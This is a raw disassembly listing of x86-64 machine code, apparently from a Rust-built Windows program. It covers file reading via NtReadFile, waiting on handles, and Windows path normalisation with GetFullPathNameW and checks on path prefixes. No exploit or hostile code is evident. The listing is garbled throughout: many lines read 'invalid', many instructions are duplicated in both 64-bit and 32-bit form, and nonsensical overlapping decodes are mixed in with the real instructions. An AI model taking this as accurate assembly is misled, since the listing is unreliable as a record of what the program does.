add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x68
add esp, 0x68
push 0xffffffffccc35e5f
int3
pop rdi
pop rsi
ret
int3
int3
int3
int3
int3
push rdi
sub rsp, 0x38
sub esp, 0x38
sub esp, 0x38
cmp byte [rax - 0x77], cl
mov rdi, rdx
mov edi, edx
xlatb
mov rdx, qword [rdx + 8]
mov edx, dword [rdx + 8]
or byte [rax - 0x75], cl
ja case.0x140082303.123
mov rsi, qword [rdi + 0x10]
mov r9, rdx
ror dword [rcx + 0x29], 1
int1
sub r9, rsi
sub ecx, esi
jb 0x140082466
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
add byte [rax], al
mov rax, rcx
mov r8, qword [rdi]
mov eax, dword [rdi]
enter 0xffffffffffff8b4c, 7
mov eax, dword [rdi]
add r8, rsi
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
and al, 0x28
mov rdx, rax
call fcn.140082620
invalid
add eax, dword [rax]
invalid
ret 0x3de8
cmp eax, 0x48000003
cmp qword [rsp + 0x28], 0
cmp dword [rsp + 0x28], 0
and al, 0x28
add byte [rax + riz + 0x48], dh
and byte [rax - 0x75], cl
je case.0x140082303.135
invalid
sub byte [rax], al
je case.0x140082303.134
and byte [rax - 0x75], cl
mov rsi, qword [rsp + 0x30]
je case.0x140082303.135
and al, 0x30
xor byte [rcx + 0x3e083f0], cl
mov eax, esi
and eax, 3
loopne 0x1400822f8
add ecx, dword [rax - 0x73]
lea rcx, [0x1400f0780]
or eax, 0x6e484
in al, 6
invalid
add byte [rax + 0x63], cl
add al, 0x81
invalid
movsxd rax, dword [rcx + rax*4]
or dword [rax + 1], 0xfe0ffc8
add rax, rcx
jmp rax
movzx eax, byte [rsi + 0x10]
jmp 0x140082339
invalid
mov dh, 0x46
adc bl, ch
adc bl, r13b
add rsi, qword cs:[rsp + 0x30]
add rsi, qword [rsp + 0x30]
je case.0x140082303.143
and al, 0x30
xor byte [rax - 0x77], cl
ja 0x140082324
invalid
mov qword [rdi + 0x10], rsi
mov dword [rdi + 0x10], esi
adc byte [rax - 0x75], cl
mov rax, qword [rdi + 0x18]
mov eax, dword [rdi + 0x18]
sbb byte [r8 + 0x39], r9b
sbb byte [rax + 0x39], cl
cmp rax, rsi
invalid
cmova rsi, rax
cmova esi, eax
invalid
mov qword [rdi + 0x18], rsi
sbb byte [rcx], dh
xor esi, esi
imul bl
movzx eax, byte es:[rsi + 0xf]
movzx eax, byte [rsi + 0xf]
jmp case.0x14007e263.218
movzx eax, byte [rsi + 0xf]
por mm1, qword [rax + r9*2]
por mm1, qword [rax + rcx*2]
jmp 0x140082339
or al, 0x48
mov rcx, rsi
mov ecx, esi
int1
shr rcx, 0x20
shr ecx, 0x20
and al, ch
cmpsd dword [rsi], dword [rdi]
call fcn.14007ca80
invalid
push qword [rcx]
xor ecx, ecx
leave
cmp al, 0xb
cmove rsi, rcx
cmove esi, ecx
cmove esi, ecx
int1
jne case.0x14007e263.218
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
xor al, ch
mov bl, 0x7b
invalid
call fcn.140079f00
jnp 0x14008234b
invalid
dec dword [rax - 0x77]
mov rax, rsi
mov eax, esi
invalid
add rsp, 0x38
cmp byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
mov rax, rsi
shr rax, 0x20
shr eax, 0x20
call 0x16900a681
and byte [rbx + 0x147728f8], al
cmp eax, 0x28
clc
sub byte [rdi + 0x14], dh
ja case.0x140082521.8
ja case.0x140082521.8
adc al, 0x48
lea rcx, [0x1400f0790]
lea ecx, [0x1400f0790]
in al, 6
invalid
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0x31
jmp rax
loopne 0x1400823a5
xor eax, eax
shr bl, 0xc2
jmp 0x140082339
ret 0x29b0
mov al, 0x29
sub ebx, ebp
mov esi, 0xbaeb01b0
mov al, 1
jmp 0x140082339
jmp 0x140082339
mov al, 1
jmp 0x140082339
mov edx, 0xb6eb02b0
mov al, 2
jmp 0x140082339
add ch, bl
mov dh, 0xb0
invalid
mov al, 3
add ebp, ebx
jmp 0x140082339
mov dl, 0xb0
add al, 0xeb
scasb al, byte [rdi]
mov al, 4
jmp 0x140082339
mov al, 5
add eax, 0x6b0aaeb
jmp 0x140082339
stosb byte [rdi], al
mov al, 6
jmp 0x140082339
cmpsb byte [rsi], byte [rdi]
mov al, 7
invalid
jmp 0x140082339
mov al, 8
jmp 0x140082339
sahf
mov al, 9
jmp 0x140082339
invalid
or ebx, ebp
invalid
mov al, 0xa
or ch, bl
jmp 0x140082339
xchg esi, eax
mov al, 0xb
or ebp, ebx
xchg edx, eax
jmp 0x140082339
mov al, 0xc
or al, 0xeb
jmp 0x140082339
invalid
mov al, 0xd
jmp 0x140082339
invalid
mov dh, byte [rax - 0x4f7914f2]
por mm0, qword [rdx + 0x7be910b0]
jmp 0x140082339
mov al, 0x10
invalid
invalid
mov al, 0xe
invalid
jmp 0x140082339
mov al, 0xf
jmp 0x140082339
mov al, 0x10
jmp 0x140082339
jnp 0x1400823bb
invalid
invalid
adc cl, ch
jnp 0x1400823bb
invalid
invalid
mov al, 0x11
jmp 0x140082339
invalid
invalid
invalid
adc ecx, ebp
je case.0x1400279e4.1362
invalid
invalid
invalid
mov al, 0x12
adc ch, cl
insd dword [rdi], dx
invalid
jmp 0x140082339
invalid
push qword [rax - 0x9916ed]
mov al, 0x13
jmp 0x140082339
invalid
invalid
adc ebp, ecx
invalid
invalid
push qword [rax - 0xa016ec]
mov al, 0x14
jmp 0x140082339
invalid
invalid
invalid
invalid
mov al, 0x15
jmp 0x140082339
pop rax
invalid
invalid
invalid
adc eax, 0xffff58e9
pop rax
invalid
invalid
push qword [rax - 0xae16ea]
mov al, 0x16
jmp 0x140082339
invalid
push qword [rax - 0xb516e9]
mov al, 0x17
jmp 0x140082339
invalid
invalid
invalid
invalid
mov al, 0x18
jmp 0x140082339
invalid
invalid
invalid
invalid
invalid
mov al, 0x19
jmp 0x140082339
invalid
invalid
sbb ecx, ebp
cmp al, 0xff
invalid
mov al, 0x1a
sbb ch, cl
xor eax, 0xb0ffffff
invalid
invalid
invalid
mov al, 0x1b
invalid
jmp 0x140082339
invalid
invalid
mov al, 0x1b
jmp 0x140082339
invalid
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0xd816e4]
mov al, 0x1c
jmp 0x140082339
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0xdf16e3]
mov al, 0x1d
jmp 0x140082339
invalid
invalid
invalid
mov al, 0x1e
jmp 0x140082339
invalid
invalid
invalid
push qword [rax - 0xed16e1]
mov al, 0x1f
jmp 0x140082339
invalid
mov al, 0x20
jmp 0x140082339
invalid
mov al, 0x21
jmp 0x140082339
invalid
invalid
invalid
and ecx, ebp
add al, 0xff
invalid
invalid
mov al, 0x22
jmp 0x140082339
invalid
invalid
invalid
and ch, cl
std
invalid
invalid
mov al, 0x23
jmp 0x140082339
invalid
invalid
and ebp, ecx
idiv dh
invalid
mov al, 0x24
jmp 0x140082339
out dx, eax
invalid
invalid
invalid
invalid
mov al, 0x25
jmp 0x140082339
invalid
invalid
invalid
mov al, 0x26
jmp 0x140082339
loope case.0x1400281ec.1497
invalid
push qword [rax - 0x12516d9]
mov al, 0x27
jmp 0x140082339
invalid
invalid
push qword [rax - 0x12c16d8]
mov al, 0x28
jmp 0x140082339
invalid
invalid
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_navigate.rs
lea eax, [0x1400e7c38]
invalid
mov rcx, rsi
int1
call fcn.1400a9cf0
js 0x140082476
add al, byte [rax]
ud2
int3
int3
int3
int3
int3
sub esp, 0x38
mov rsi, rcx
mov esi, ecx
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
and al, 0x28
call fcn.140082620
lea eax, [rcx]
add byte [rax], al
cmp qword [rsp + 0x28], 0
jl case.default.0x1400824b3
sub byte [rax], al
je case.default.0x1400824b3
mov rdi, qword [rsp + 0x30]
mov edi, dword [rsp + 0x30]
and al, 0x30
xor byte [rcx + 0x3e083f8], cl
mov eax, edi
and eax, 3
loopne 0x1400824a8
lea rcx, [0x1400f0834]
lea ecx, [0x1400f0834]
or eax, 0x6e388
jrcxz 0x1400824b1
invalid
add byte [rax + 0x63], cl
add al, 0x81
invalid
movsxd rax, dword [rcx + rax*4]
or dword [rax + 1], 0xfe0ffc8
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0xf
jmp rax
movzx eax, byte [rdi + 0x10]
jmp case.0x14002f3a6.1251
mov dh, 0x47
adc bl, ch
adc r11b, r13b
and al, 0x48
mov eax, dword [rsp + 0x30]
and al, 0x30
mov rax, qword [rsp + 0x30]
and al, 0x30
xor byte [rax - 0x77], cl
mov qword [rsi + 8], rax
mov qword [rsi], 0
mov dword [rsi], 0
or byte [rax - 0x39], r9b
mov dword [rsi], 0
invalid
jmp case.0x1400281ec.1506
xor ecx, dword [rdi]
mov dh, 0x47
por mm1, qword [rax + rcx*2]
mov rcx, rdi
movzx eax, byte [rdi + 0xf]
jmp case.0x14002f3a6.1251
mov rcx, rdi
shr rcx, 0x20
call fcn.14007ca80
movabs eax, dword [0x4812750b3cffffa5]
lea ecx, [rsp + 0x30]
and al, 0x30
cmp al, 0xb
jne 0x1400824f5
lea rcx, [rsp + 0x30]
and al, 0x30
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
call fcn.140079f00
jmp case.0x1400281ec.1506
or eax, 0xebffff7a
or ecx, dword [rax - 0x77]
mov dword [rsi + 8], edi
mov qword [rsi + 8], rdi
mov dword [rsi + 8], edi
mov qword [rsi], 1
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
invalid
add rsp, 0x38
add esp, 0x38
pop rdi
pop rsi
ret
mov rax, rdi
shr rax, 0x20
shr eax, 0x20
cmp eax, 0x28
ja case.default.0x140082521
invalid
adc al, 0x48
lea rcx, [0x1400f0844]
lea ecx, [0x1400f0844]
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0x31
shr bl, 0xb8
jmp rax
xor eax, eax
jmp case.0x14002f3a6.1251
mov al, 0x29
jmp case.0x14002f3a6.1251
mov al, 1
jmp case.0x14002f3a6.1251
invalid
mov al, 0xb0
add ch, bl
lodsb al, byte [rsi]
mov al, 2
jmp case.0x14002f3a6.1251
mov al, 3
jmp case.0x14002f3a6.1251
mov al, 4
jmp case.0x14002f3a6.1251
mov al, 5
jmp case.0x14002f3a6.1251
add eax, 0x6b0a0eb
mov al, 6
jmp case.0x14002f3a6.1251
pushfq
mov al, 7
jmp case.0x14002f3a6.1251
mov al, 8
jmp case.0x14002f3a6.1251
xchg esp, eax
xchg esp, eax
mov al, 9
jmp case.0x14002f3a6.1251
nop
nop
mov al, 0xa
jmp case.0x14002f3a6.1251
mov al, 0xb
jmp case.0x14002f3a6.1251
invalid
mov byte [rax - 0x4f7b14f4], dh
or eax, 0xeb080eb
jmp case.0x14002f3a6.1251
mov al, 0xe
mov al, 0xc
jmp case.0x14002f3a6.1251
mov al, 0xd
jmp case.0x14002f3a6.1251
xor byte [rax - 0x8616f2], 0xff
mov al, 0xe
jmp case.0x14002f3a6.1251
invalid
invalid
push qword [rax - 0x8d16f1]
mov al, 0xf
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
mov al, 0x10
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
mov al, 0x11
jmp case.0x14002f3a6.1251
invalid
invalid
adc ecx, ebp
invalid
invalid
mov al, 0x12
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
invalid
mov al, 0x13
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
invalid
mov al, 0x14
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
mov al, 0x15
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
mov al, 0x16
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
invalid
invalid
invalid
mov al, 0x17
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
mov al, 0x18
jmp case.0x14002f3a6.1251
invalid
mov al, 0x19
sbb ecx, ebp
sub al, 0xff
jmp case.0x14002f3a6.1251
invalid
mov al, 0x1a
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
push qword [rax - 0xe116e5]
mov al, 0x1b
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
mov al, 0x1c
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
mov al, 0x1d
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
mov al, 0x1e
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
mov al, 0x1f
jmp case.0x14002f3a6.1251
add bh, bh
invalid
invalid
add bh, bh
invalid
mov al, 0x20
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
mov al, 0x21
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
mov al, 0x22
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
mov al, 0x23
jmp case.0x14002f3a6.1251
invalid
mov al, 0x24
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
invalid
invalid
mov al, 0x25
jmp case.0x14002f3a6.1251
invalid
push qword [rax - 0x12e16da]
invalid
mov al, 0x26
jmp case.0x14002f3a6.1251
mov al, 0x27
jmp case.0x14002f3a6.1251
mov al, 0x28
jmp case.0x14002f3a6.1251
invalid
invalid
invalid
int3
push rdi
sub rsp, 0xa8
sub esp, 0xa8
sub esp, 0xa8
mov rdi, rdx
mov edi, edx
mov rsi, rcx
movups xmm0, xmmword [0x1400e9ed0]
add byte [rdi], cl
sub dword [rsp + 0x60], eax
add byte [rdi], cl
sub dword [rsp + 0x60], eax
invalid
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
cmovb eax, ecx
cmovb eax, ecx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
and al, 0x30
and al, 0x30
mov qword [rsp + 0x28], r8
and al, 0x28
sub byte [rax - 0x73], cl
and al, 0x60
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
add al, byte [rax]
add al, byte [rax]
cmp eax, 0x103
jne 0x14008268c
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
fld qword [rdx]
invalid
mov eax, dword [rsp + 0x60]
fld qword [rdx]
add byte [rbx + 0x3d602444], cl
adc dword [rax], eax
add al, al
cmp eax, 0xc0000011
jne 0x14008269b
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x1400826d3
cmp eax, 0x103
je 0x1400826dd
cmp eax, dword [rbp + 0x481278c0]
test eax, eax
js 0x1400826b8
sar byte [rax + 0x12], 0x48
mov eax, dword [rsp + 0x68]
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x1400826d3
sbb ecx, dword [rcx - 0x5fea003f]
fld qword [rdx]
add al, byte [rax]
invalid
invalid
adc eax, 0x2dda0
add al, byte [rax]
shl rax, 0x20
loopne 0x1400826e4
or rax, 2
mov qword [rsi + 8], rax
or byte [rax - 0x39], r9b
invalid
add dword [rax], eax
add byte [rax], al
or byte [rax - 0x39], r9b
invalid
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
add rsp, 0xa8
test al, 0
add byte [rax], al
add byte [rax], al
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
add byte [rax], al
add byte [rax], al
add dh, al
and al, 0x5c
add byte [rax - 0x73], cl
add eax, 0x67847
mov byte [rsp + 0x5c], 0
lea rax, [0x1400e9f38]
mov qword [rsp + 0x78], rax
and al, 0x78
js 0x14008273f
mov qword [rsp + 0x80], 1
mov dword [rsp + 0x80], 1
and al, 0x80
add byte [rax], al
invalid
add byte [rax], al
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x50]
add byte [rax], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
add byte [rax], al
add byte [rdi], cl
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
adc dword [rsp + 0x90], eax
push rdi
ror byte [rdi], 0x11
adc dword [rsp + 0x90], eax
lea rcx, [rsp + 0x58]
adc dword [rsp + 0x90], eax
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
and al, 0x78
js 0x14008270d
call fcn.14007a9c0
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
xchg edi, eax
invalid
invalid
mov dword [rsp + 0x70], eax
lea rcx, [rsp + 0x70]
and al, 0x70
call fcn.14007a000
mov ecx, 7
add ch, cl
invalid
sub dword [rdi], ecx
or ecx, esp
int3
ud2
int3
int3
int3
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x4a8
test al, 4
add byte [rax], al
test al, 4
add byte [rax], al
add al, 0
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], 0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x420], 0xfffffffffffffffe
and byte [rax + rax], al
add dh, bh
invalid
invalid
dec dword [rbx + rcx*4 + 0xa]
mov rax, qword [rdx + 0x10]
mov eax, dword [rdx + 0x10]
add byte [rax], 0
add byte [rax - 0x39], cl
test dword [rax], esp
and byte [rax + rax], al
and byte [rax + rax], al
add dh, bh
invalid
mov eax, dword [rdx + 0x10]
cmp rax, 3
mov qword [rbp + 0x418], r9
mov dword [rbp + 0x418], ecx
mov dword [rbp + 0x418], ecx
add byte [rsi + 0x58], dh
jbe 0x1400827e2
movabs r10, 0x5c003f005c005c
cmp qword [r9], r10
pop rsp
add byte [rdi], bh
add byte [rax + rax + 0x4d], bl
cmp dword [rcx], edx
je 0x14008288d
movabs r10, 0x5c003f003f005c
mov r9, qword [rbp + 0x418]
lea ebx, [rax]
add al, 0
add byte [rax], al
add byte [rdi], bh
add byte [rax + rax + 0x4c], bl
pop rsp
add byte [rbx + rcx*4 - 0x73], cl
lea ebx, [rax]
add al, 0
add byte [rax], al
pop rsp
add byte [rbx + rcx*4 - 0x73], cl
lea ebx, [rax]
add al, 0
invalid
lea ebx, [rax]
add al, 0
invalid
add byte [rax], al
add byte [rbp + 0x39], cl
adc dword [rdi], ecx
cmp qword [r9], r10
cmp dword [rcx], edx
je 0x14008288d
test dh, dl
add byte [rax], al
invalid
add byte [rax + 0x3d], cl
clc
add byte [rax], al
add byte [rdi], cl
invalid
sbb edx, 0
fiadd dword [rax]
cmp rax, 0xf8
jae 0x14008289d
fiadd dword [rax]
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x418]
invalid
invalid
add byte [rax], al
mov rax, qword [rbp + 0x418]
cmp word [rax + 2], 0x3a
js 0x1400827d0
cmp cl, byte [rdi]
invalid
mov eax, dword [rax]
add byte [rax], al
js 0x1400827d0
cmp cl, byte [rdi]
test dword [rbx + 0x48000000], ecx
mov eax, dword [rbp + 0x418]
add byte [rax], al
mov eax, dword [rax]
add byte [rax], al
mov rax, qword [rbp + 0x418]
add byte [rax], al
add byte [rdi], cl
mov bh, 0x40
add al, 0xeb
movzx eax, word [rax + 4]
jmp case.0x140032048.1252
je 0x14008280a
je 0x14008280a
cmp rax, 2
je 0x140082860
cmp rax, 1
clc
add dword [rdi], ecx
jne 0x14008289d
mov rax, qword [rbp + 0x418]
jne 0x14008289d
mov rax, qword [rbp + 0x418]
cmp word [rax], 0
jne 0x14008289d
jmp 0x14008288d
mov rax, qword [rbp + 0x418]
test dword [rax], ebx
add al, 0
invalid
add byte [rax], al
add byte [rsi - 0x7d], ah
js 0x140082817
cmp word [rax + 2], 0x3a
cmp dh, byte [rbp + 0x48]
jne 0x140082860
mov rax, qword [rbp + 0x418]
mov rax, qword [rbp + 0x418]
movzx eax, word [rax + 4]
test ax, ax
je 0x14008284c
cmp ax, 0x2f
je 0x140082836
clc
invalid
movzx eax, ax
cmp eax, 0x5c
jne 0x140082860
mov rax, qword [rbp + 0x418]
movzx eax, word [rax]
cmp eax, 0x2f
je 0x14008286a
add byte [rbx + 0x25742ff8], al
cmp eax, 0x5c
je 0x14008286a
jmp 0x14008288d
mov rax, qword [rbp + 0x418]
movzx eax, word [rax]
cmp eax, 0x2f
je 0x140082860
invalid
add eax, 0x755cf883
sub eax, 0x18858b48
add al, 0
add byte [rdi], cl
mov bh, 0
cmp eax, 0x5c
jne 0x14008288d
mov rax, qword [rbp + 0x418]
movzx eax, word [rax]
cmp ax, 0x5c
je 0x140082878
movzx eax, ax
cmp eax, 0x2f
jne 0x14008289d
mov rax, qword [rbp + 0x418]
add byte [rax], al
movzx eax, word [rax + 2]
cmp eax, 0x5c
je 0x14008288d
cmp eax, 0x2f
jne 0x14008289d
mov rax, qword [rdx + 0x10]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rdx]
jmp 0x140082e22
mov byte [rbp + 0x417], r8b
mov qword [rbp + 0x3d0], rcx
invalid
mov qword [rbp + 0x400], rdx
mov dword [rbp + 0x400], edx
mov qword [rbp + 0x3b8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c0], xmm0
adc dword [rbp + 0x3c0], eax
ror byte [rdi], 0x11
test eax, eax
add eax, dword [rax]
adc dword [rbp + 0x3c0], eax
add byte [rcx - 0x43], al
add byte [rdx], al
add byte [rax], al
mov r13d, 0x200
mov eax, 2
mov qword [rbp + 0x3f8], rax
test eax, edi
add eax, dword [rax]
add byte [rcx], dh
ror byte [rax - 0x77], 0x85
lock add eax, dword [rax]
add byte [rbp + 0x31], al
push qword [rcx]
invalid
ror byte [rax - 0x77], 0x85
lock add eax, dword [rax]
add byte [rbp + 0x31], al
push qword [rcx]
test byte [rcx - 0x7f], 0xfd
cmp r13, 0x201
cmp r13, 0x201
jb 0x14008290f
jmp 0x140082920
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
sub edi, 0
out dx, eax
add byte [rax], al
add byte [rcx - 0x7f], cl
std
add dword [rdx], eax
add byte [rax], al
jae case.0x1400689bc.1185
jae 0x140082920
mov r12d, 0x200
lea rbx, [rbp - 0x60]
lea ebx, [rbp - 0x60]
mov r14, r13
mov esi, ebp
jmp 0x140082985
sub r13, rsi
sub r15, rsi
cmp r15, r13
jae 0x140082959
lea rcx, [rbp + 0x3b8]
mov rdx, rsi
mov eax, 0x48000003
mov edx, esi
mov r8, r13
call fcn.1400ae2f0
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x3f8], rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rbp + 0x3c0]
mov qword [rbp + 0x3f0], rax
mov r15, qword [rbp + 0x3f0]
mov eax, 0xffffffff
dec dword [rcx + 0x39]
invalid
mov esi, 0xffffffff
cmovb rsi, r15
mov qword [rbp + 0x3c8], rsi
mov r12, rsi
mov rbx, qword [rbp + 0x3f8]
mov r14, rsi
dec dword [rcx + 0x39]
invalid
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0x418]
mov ecx, dword [rbp + 0x418]
mov ecx, dword [rbp + 0x418]
mov edx, r14d
mov rdi, rbx
mov r8, rbx
xor r9d, r9d
call qword [sym.imp.kernel32.dll_GetFullPathNameW]
mov ebx, eax
test eax, eax
invalid
jne 0x1400829b6
sal byte [rbp + 0xa], 0xff
adc eax, 0x2d9f6
fld dword [rdx]
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
fld dword [rdx]
add byte [rbp + 0x417375c0], al
test eax, eax
jne 0x140082a29
mov r13d, ebx
mov ebp, ebx
cmp r14, r13
jne 0x140082900
invalid
invalid
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140082e39
add esi, esi
mov eax, 0xffffffff
invalid
dec dword [rcx + 0x39]
invalid
cmovae r14, rax
mov r13, r14
cmp r13, 0x201
cmp ebp, 0x201
invalid
cmp ebp, 0x201
add dword [rdx], eax
add byte [rax], al
jae 0x140082920
xor dword [rax], 0xffffffff
invalid
jmp 0x14008290f
cmp r12, r13
jb 0x140082e53
mov r15, qword [rbp + 0x400]
mov edi, dword [rbp + 0x400]
mov qword [r15 + 0x10], 0
adc byte [rax], al
add byte [rax], al
add byte [rax + 0x417bd], al
invalid
invalid
invalid
add al, 0
add byte [rax], al
add byte [rax], al
cmp byte [rbp + 0x417], 0
invalid
add al, 0
add byte [rax], al
add byte [rbp + rdi - 0x7d], dh
sti
add byte [rax], al
je 0x140082a53
cmp ebx, 2
ja case.0x140028086.1347
add dh, byte [rdi + 0x44]
jne 0x140082bb7
movzx ecx, word [rdi]
psubsw mm5, mm3
jmp 0x140082b14
add byte [rax], al
add bh, bh
adc eax, 0x2d979
add byte [rax], al
call qword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
shl rsi, 0x20
and byte [rax - 0x7d], cl
invalid
invalid
and byte [rax - 0x7d], cl
invalid
mov r15, qword [rbp + 0x400]
add byte [rax], al
cmp qword [rbp + 0x3f0], 0
jne 0x140082dc7
jmp 0x140082ddd
add byte [rcx + 0xf6fb], al
cmp ebx, 0xf6
jbe 0x140082b5d
add byte [rdi], cl
xchg dh, bh
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov rcx, rdi
stc
movzx eax, word [rdi + 2]
cmp eax, 0x3a
jne 0x140082a9f
cmp word [rcx + 4], 0x5c
pop rsp
jne 0x140082a9f
mov r12d, 4
mov esp, 4
add byte [rax], al
lea rbx, [0x1400ea150]
mov qword [rbp + 0x408], rcx
lea r14, [r12 + r13]
lea esi, [rsp + rbp]
lea esi, [rsp + rbp]
sub al, 0x49
inc esi
inc r14
mov rdi, qword [r15 + 8]
cmp rdi, r14
jb 0x140082c6c
invalid
jmp case.0x140075b85.1572
movzx ecx, word [rcx]
cmp ebx, 3
jbe 0x140082b14
cmp eax, 0x3f
je 0x140082c52
invalid
cmp eax, 0x5c
jne 0x140082b22
movzx eax, word [rdi + 4]
cmp eax, 0x3f
je 0x140082c47
add byte [rax], al
cmp eax, 0x2e
jne 0x140082b28
cmp word [rdi + 6], 0x5c
jne 0x140082b28
add r13, 0xfffffffffffffffc
add rdi, 8
mov qword [rbp + 0x408], rdi
mov ebp, 0x408
mov ebp, 0x408
mov r12d, 4
lea rbx, [0x1400ea150]
lea r14, [r12 + r13]
inc r14
mov rdi, qword [r15 + 8]
cmp rdi, r14
jb 0x140082c6c
jmp case.0x140075b85.1572
cmp ax, 0x5c
jne case.0x14002f3a6.1293
add r13, 0xfffffffffffffffe
add rdi, 4
mov qword [rbp + 0x408], rdi
mov r12d, 8
lea rbx, [0x1400ea158]
lea r14, [r12 + r13]
inc r14
invalid
invalid
mov rdi, qword [r15 + 8]
cmp rdi, r14
cmp edi, esi
cmp edi, esi
jb 0x140082c6c
jmp case.0x140075b85.1572
add byte [rax], al
mov r14, qword [r15 + 8]
cmp r14, r13
mov qword [rbp + 0x408], rdi
ja case.0x14007d912.227
lea r12, [r13 + 1]
lea r8, [r12 + r12]
add dword gs:[rdi - 0x73], ecx
add al, 0x24
test r14, r14
je 0x140082be1
lea rax, [r14 + r14]
lea eax, [rsi + rsi]
add al, 0x36
mov rcx, qword [rbp + 0x418]
mov qword [rbp + 0x3d8], rcx
mov qword [rbp + 0x3e0], 2
add byte [rdx], al
add byte [rax], al
invalid
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x77], cl
test eax, ebp
add eax, dword [rax]
add byte [rax], al
jmp 0x140082bec
mov qword [rbp + 0x408], rdi
mov qword [rbp + 0x3e8], rax
jmp 0x140082bec
mov qword [rbp + 0x408], rdi
lea rbx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
sbb eax, 0x6b6a6
jmp 0x140082c59
lea rbx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
xor r12d, r12d
mov qword [rbp + 0x408], rdi
mov dword [rbp + 0x408], edi
mov dword [rbp + 0x408], edi
lea r14, [r12 + r13]
inc r14
mov rdi, qword [r15 + 8]
cmp rdi, r14
test dword [rdi], 0x9082
invalid
test dword [rdi], 0x9082
add cl, ch
add dword [rcx], eax
add byte [rax], al
invalid
jmp case.0x140075b85.1572
mov qword [rbp + 0x3e0], 0
lea rcx, [rbp + 0x3a0]
lea r9, [rbp + 0x3d8]
mov edx, 2
call fcn.1400a57b0
cmp qword [rbp + 0x3a0], 0
mov rcx, qword [rbp + 0x3a8]
mov ecx, dword [rbp + 0x3a8]
je 0x140082c2f
movabs rax, 0x8000000000000001
cmp rcx, rax
jne 0x140082e81
xor esi, esi
jmp 0x140082d3d
mov qword [r15], rcx
mov qword [r15 + 8], r12
xor esi, esi
mov qword [rbp + 0x418], rcx
mov r14, r12
jmp 0x140082d3d
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi - 0x7d], ah
jg case.0x140083c5d.233
cmp word [rdi + 6], 0x5c
pop rsp
jne 0x140082b28
dec dword [rax - 0x77]
mov ebp, 0x408
mov qword [rbp + 0x408], rdi
xor r12d, r12d
lea r14, [r12 + r13]
inc r14
mov rdi, qword [r15 + 8]
cmp rdi, r14
jae case.0x140075b85.1572
lea r8, [r14 + r14]
test rdi, rdi
je 0x140082c9b
lea rax, [rdi + rdi]
mov rcx, qword [rbp + 0x418]
mov qword [rbp + 0x3d8], rcx
